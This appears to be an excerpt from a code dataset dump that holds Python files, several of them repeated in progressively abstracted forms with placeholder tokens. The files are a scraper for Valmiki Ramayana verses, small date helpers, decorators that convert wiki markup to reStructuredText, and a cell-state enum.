'\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\n<function token>\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d'\n % (commentary_id, kaanda_index, sarga_index))\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\n '%03d' % sarga_index, sanscript.IAST, sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker\n =title_maker)\n\n\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n '\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
464
90bb70b0a97c7872c8581a176ebacc50df8e1f72
import datetime def year_choices(): return [(r,r) for r in range(1984, datetime.date.today().year + 1)] def current_year(): return datetime.date.today().year
[ "import datetime\n\n\ndef year_choices():\n return [(r,r) for r in range(1984, datetime.date.today().year + 1)]\n\n\ndef current_year():\n return datetime.date.today().year\n", "import datetime\n\n\ndef year_choices():\n return [(r, r) for r in range(1984, datetime.date.today().year + 1)]\n\n\ndef current_year():\n return datetime.date.today().year\n", "<import token>\n\n\ndef year_choices():\n return [(r, r) for r in range(1984, datetime.date.today().year + 1)]\n\n\ndef current_year():\n return datetime.date.today().year\n", "<import token>\n\n\ndef year_choices():\n return [(r, r) for r in range(1984, datetime.date.today().year + 1)]\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n" ]
false
465
d1b2420778e788d78be2a12a27c80f5fa1b15a0f
import functools import re from pprint import pprint def heading(*, marker=''): ''' Add a new line with the same number of heading markers as the characters in the title Need to specify marker to one of the valid rst line markups ''' def wrapper_heading(func): @functools.wraps(func) def wrapper(*args, **kwargs): title = func(*args, **kwargs) class_obj, passed_title, = args title = title.strip() return f'\n{title}\n{marker*len(title)}\n' if passed_title.strip() != title else passed_title return wrapper return wrapper_heading def code_pre_block(func): ''' formats a code block according to rst format ''' @functools.wraps(func) def wrapper(*args, **kwargs): block = func(*args, **kwargs) new_block = '\n.. code-block::\n\n' for line in block.split('\n'): new_block += f' {line}\n' return new_block return wrapper def source_block(func): ''' formats code from <source lang="some_language"> blocks where the language is optional ''' @functools.wraps(func) def wrapper(*args, **kwargs): lang, block = func(*args, **kwargs) new_block = f'\n\n.. code-block:: {lang or ""}\n\n' for line in block.split('\n'): new_block += f' {line}\n' return new_block return wrapper def list_block(func): @functools.wraps(func) def wrapper(*args, **kwargs): items = func(*args, **kwargs) new_list = '\n' prev_indent = 0 sub_list_started = False for line in items.split('\n'): num_markers = get_num_markers(line) # how many # there are indent_by = (num_markers - 1) * 2 # no indentation for first level def get_printable_part(string): ''' trim out up to a colon or semi-colon after a # list marker ''' return string[num_markers+1:].strip() if string[num_markers] in [':', ';', '*'] else string[num_markers:].strip() # if # is followed by ; or :, it is a continuation of the previous list item # this can just be indented if line[num_markers] == '*': # bullet list item if not sub_list_started: new_list += f'\n{" " * num_markers*2}* {get_printable_part(line)}\n' sub_list_started = True else: new_list += f'{" " * num_markers*2}* {get_printable_part(line)}\n' continue sub_list_started = False if line[num_markers] in [':', ';']: line = f'{" " * num_markers*2}{get_printable_part(line)}' else: line = f'{" " * indent_by}* {get_printable_part(line)}' if indent_by != prev_indent: # starting a new level or going back to old level line = f'\n{line}' # new level starts a new line prev_indent = indent_by new_list += f'{line}\n' return new_list return wrapper def get_num_markers(string): indent_by = 0 for i in range(len(string)): if string[i] == '#': indent_by += 1 else: break return indent_by @list_block def list_block_converter(match_group): return match_group.group(1) @code_pre_block def code_pre_block_converter(match_group): return match_group.group(2) @source_block def source_block_converter(match_group): ''' formats a code block from <source lang="some_language"> the language part is optional ''' return (match_group.group(1), match_group.group(2)) if __name__ == '__main__': pass
[ "import functools\nimport re\nfrom pprint import pprint\n\ndef heading(*, marker=''):\n '''\n Add a new line with the same number of heading markers as the characters in the title\n Need to specify marker to one of the valid rst line markups\n '''\n def wrapper_heading(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n title = func(*args, **kwargs)\n class_obj, passed_title, = args\n title = title.strip()\n return f'\\n{title}\\n{marker*len(title)}\\n' if passed_title.strip() != title else passed_title\n return wrapper\n return wrapper_heading\n\ndef code_pre_block(func):\n '''\n formats a code block according to rst format\n '''\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\ndef source_block(func):\n '''\n formats code from <source lang=\"some_language\"> blocks\n where the language is optional\n '''\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n lang, block = func(*args, **kwargs)\n new_block = f'\\n\\n.. code-block:: {lang or \"\"}\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\ndef list_block(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line) # how many # there are\n indent_by = (num_markers - 1) * 2 # no indentation for first level\n def get_printable_part(string):\n '''\n trim out up to a colon or semi-colon after a # list marker\n '''\n return string[num_markers+1:].strip() if string[num_markers] in [':', ';', '*'] else string[num_markers:].strip()\n # if # is followed by ; or :, it is a continuation of the previous list item\n # this can just be indented\n if line[num_markers] == '*': # bullet list item\n if not sub_list_started:\n new_list += f'\\n{\" \" * num_markers*2}* {get_printable_part(line)}\\n'\n sub_list_started = True\n else:\n new_list += f'{\" \" * num_markers*2}* {get_printable_part(line)}\\n'\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f'{\" \" * num_markers*2}{get_printable_part(line)}'\n else:\n line = f'{\" \" * indent_by}* {get_printable_part(line)}'\n if indent_by != prev_indent: # starting a new level or going back to old level\n line = f'\\n{line}' # new level starts a new line\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n@source_block\ndef source_block_converter(match_group):\n '''\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n '''\n return (match_group.group(1), match_group.group(2))\n\nif __name__ == '__main__':\n pass", "import functools\nimport re\nfrom pprint import pprint\n\n\ndef heading(*, marker=''):\n \"\"\"\n Add a new line with the same number of heading markers as the characters in the title\n Need to specify marker to one of the valid rst line markups\n \"\"\"\n\n def wrapper_heading(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n title = func(*args, **kwargs)\n class_obj, passed_title = args\n title = title.strip()\n return f'\\n{title}\\n{marker * len(title)}\\n' if passed_title.strip(\n ) != title else passed_title\n return wrapper\n return wrapper_heading\n\n\ndef code_pre_block(func):\n \"\"\"\n formats a code block according to rst format\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef source_block(func):\n \"\"\"\n formats code from <source lang=\"some_language\"> blocks\n where the language is optional\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n lang, block = func(*args, **kwargs)\n new_block = f\"\\n\\n.. code-block:: {lang or ''}\\n\\n\"\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\nif __name__ == '__main__':\n pass\n", "<import token>\n\n\ndef heading(*, marker=''):\n \"\"\"\n Add a new line with the same number of heading markers as the characters in the title\n Need to specify marker to one of the valid rst line markups\n \"\"\"\n\n def wrapper_heading(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n title = func(*args, **kwargs)\n class_obj, passed_title = args\n title = title.strip()\n return f'\\n{title}\\n{marker * len(title)}\\n' if passed_title.strip(\n ) != title else passed_title\n return wrapper\n return wrapper_heading\n\n\ndef code_pre_block(func):\n \"\"\"\n formats a code block according to rst format\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef source_block(func):\n \"\"\"\n formats code from <source lang=\"some_language\"> blocks\n where the language is optional\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n lang, block = func(*args, **kwargs)\n new_block = f\"\\n\\n.. code-block:: {lang or ''}\\n\\n\"\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\nif __name__ == '__main__':\n pass\n", "<import token>\n\n\ndef heading(*, marker=''):\n \"\"\"\n Add a new line with the same number of heading markers as the characters in the title\n Need to specify marker to one of the valid rst line markups\n \"\"\"\n\n def wrapper_heading(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n title = func(*args, **kwargs)\n class_obj, passed_title = args\n title = title.strip()\n return f'\\n{title}\\n{marker * len(title)}\\n' if passed_title.strip(\n ) != title else passed_title\n return wrapper\n return wrapper_heading\n\n\ndef code_pre_block(func):\n \"\"\"\n formats a code block according to rst format\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef source_block(func):\n \"\"\"\n formats code from <source lang=\"some_language\"> blocks\n where the language is optional\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n lang, block = func(*args, **kwargs)\n new_block = f\"\\n\\n.. code-block:: {lang or ''}\\n\\n\"\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef code_pre_block(func):\n \"\"\"\n formats a code block according to rst format\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef source_block(func):\n \"\"\"\n formats code from <source lang=\"some_language\"> blocks\n where the language is optional\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n lang, block = func(*args, **kwargs)\n new_block = f\"\\n\\n.. code-block:: {lang or ''}\\n\\n\"\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef code_pre_block(func):\n \"\"\"\n formats a code block according to rst format\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n block = func(*args, **kwargs)\n new_block = '\\n.. code-block::\\n\\n'\n for line in block.split('\\n'):\n new_block += f' {line}\\n'\n return new_block\n return wrapper\n\n\n<function token>\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n@code_pre_block\ndef code_pre_block_converter(match_group):\n return match_group.group(2)\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\ndef get_num_markers(string):\n indent_by = 0\n for i in range(len(string)):\n if string[i] == '#':\n indent_by += 1\n else:\n break\n return indent_by\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n<function token>\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\n<function token>\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n<function token>\n\n\n@source_block\ndef source_block_converter(match_group):\n \"\"\"\n formats a code block from <source lang=\"some_language\">\n the language part is optional\n \"\"\"\n return match_group.group(1), match_group.group(2)\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef list_block(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n items = func(*args, **kwargs)\n new_list = '\\n'\n prev_indent = 0\n sub_list_started = False\n for line in items.split('\\n'):\n num_markers = get_num_markers(line)\n indent_by = (num_markers - 1) * 2\n\n def get_printable_part(string):\n \"\"\"\n trim out up to a colon or semi-colon after a # list marker\n \"\"\"\n return string[num_markers + 1:].strip() if string[num_markers\n ] in [':', ';', '*'] else string[num_markers:].strip()\n if line[num_markers] == '*':\n if not sub_list_started:\n new_list += (\n f\"\\n{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n sub_list_started = True\n else:\n new_list += (\n f\"{' ' * num_markers * 2}* {get_printable_part(line)}\\n\"\n )\n continue\n sub_list_started = False\n if line[num_markers] in [':', ';']:\n line = f\"{' ' * num_markers * 2}{get_printable_part(line)}\"\n else:\n line = f\"{' ' * indent_by}* {get_printable_part(line)}\"\n if indent_by != prev_indent:\n line = f'\\n{line}'\n prev_indent = indent_by\n new_list += f'{line}\\n'\n return new_list\n return wrapper\n\n\n<function token>\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\n@list_block\ndef list_block_converter(match_group):\n return match_group.group(1)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
466
29bee4ef11281380aa05d22ef54cb76502ecd685
from enum import Enum class CellState(Enum): EMPTY = 1 DEAD = 2 ALIVE = 3 WAS_ALIVE = 4 def __str__(self): default_str = super(CellState, self).__str__() if default_str == "CellState.EMPTY": return "E" elif default_str == "CellState.DEAD": return "D" elif default_str == "CellState.ALIVE": return "A" elif default_str == "CellState.WAS_ALIVE": return "W" else: return "?"
